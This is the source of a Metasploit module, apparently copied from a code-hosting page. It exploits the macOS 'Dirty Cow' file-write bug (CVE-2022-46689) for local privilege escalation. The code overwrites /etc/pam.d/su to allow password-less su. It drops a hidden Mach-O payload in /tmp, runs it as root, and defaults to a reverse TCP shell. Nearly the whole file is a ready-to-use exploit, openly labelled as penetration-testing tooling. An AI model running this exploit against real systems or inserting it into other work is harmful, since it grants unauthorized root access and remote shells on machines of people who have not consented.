Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/local/mac_dirty_cow.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Post::File10include Msf::Post::OSX::Priv11include Msf::Post::OSX::System12include Msf::Exploit::EXE13include Msf::Exploit::FileDropper1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'macOS Dirty Cow Arbitrary File Write Local Privilege Escalation',20'Description' => %q{21An app may be able to execute arbitrary code with kernel privileges22},23'License' => MSF_LICENSE,24'Author' => [25'Ian Beer', # discovery26'Zhuowei Zhang', # proof of concept27'timwr' # metasploit integration28],29'References' => [30['CVE', '2022-46689'],31['URL', 'https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c'],32['URL', 'https://github.com/zhuowei/MacDirtyCowDemo'],33],34'Platform' => 'osx',35'Arch' => ARCH_X64,36'SessionTypes' => ['shell', 'meterpreter'],37'DefaultTarget' => 0,38'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' },39'Targets' => [40[ 'Mac OS X x64 (Native Payload)', {} ],41],42'DisclosureDate' => '2022-12-17',43'Notes' => {44'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],45'Reliability' => [REPEATABLE_SESSION],46'Stability' => [CRASH_SAFE]47}48)49)50register_advanced_options [51OptString.new('TargetFile', [ true, 'The pam.d file to overwrite', '/etc/pam.d/su' ]),52OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])53]54end5556def check57version = Rex::Version.new(get_system_version)58if version > Rex::Version.new('13.0.1')59CheckCode::Safe60elsif version < Rex::Version.new('13.0') && version > Rex::Version.new('12.6.1')61CheckCode::Safe62elsif version < Rex::Version.new('10.15')63CheckCode::Safe64else65CheckCode::Appears66end67end6869def exploit70if is_root?71fail_with Failure::BadConfig, 'Session already has root privileges'72end7374unless writable? datastore['WritableDir']75fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"76end7778payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"79binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)80upload_and_chmodx payload_file, binary_payload81register_file_for_cleanup payload_file8283target_file = datastore['TargetFile']84current_content = read_file(target_file)85backup_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"86unless write_file(backup_file, current_content)87fail_with Failure::BadConfig, "#{backup_file} is not writable"88end89register_file_for_cleanup backup_file9091replace_content = current_content.sub('rootok', 'permit')9293replace_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"94unless write_file(replace_file, replace_content)95fail_with Failure::BadConfig, "#{replace_file} is not writable"96end97register_file_for_cleanup replace_file9899exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"100exploit_exe = exploit_data 'CVE-2022-46689', 'exploit'101upload_and_chmodx exploit_file, exploit_exe102register_file_for_cleanup exploit_file103104exploit_cmd = "#{exploit_file} #{target_file} #{replace_file}"105print_status("Executing exploit '#{exploit_cmd}'")106result = cmd_exec(exploit_cmd)107print_status("Exploit result:\n#{result}")108109su_cmd = "echo '#{payload_file} & disown' | su"110print_status("Running cmd:\n#{su_cmd}")111result = cmd_exec(su_cmd)112unless result.blank?113print_status("Command output:\n#{result}")114end115116exploit_cmd = "#{exploit_file} #{target_file} #{backup_file}"117print_status("Executing exploit (restoring) '#{exploit_cmd}'")118result = cmd_exec(exploit_cmd)119print_status("Exploit result:\n#{result}")120end121122end123124125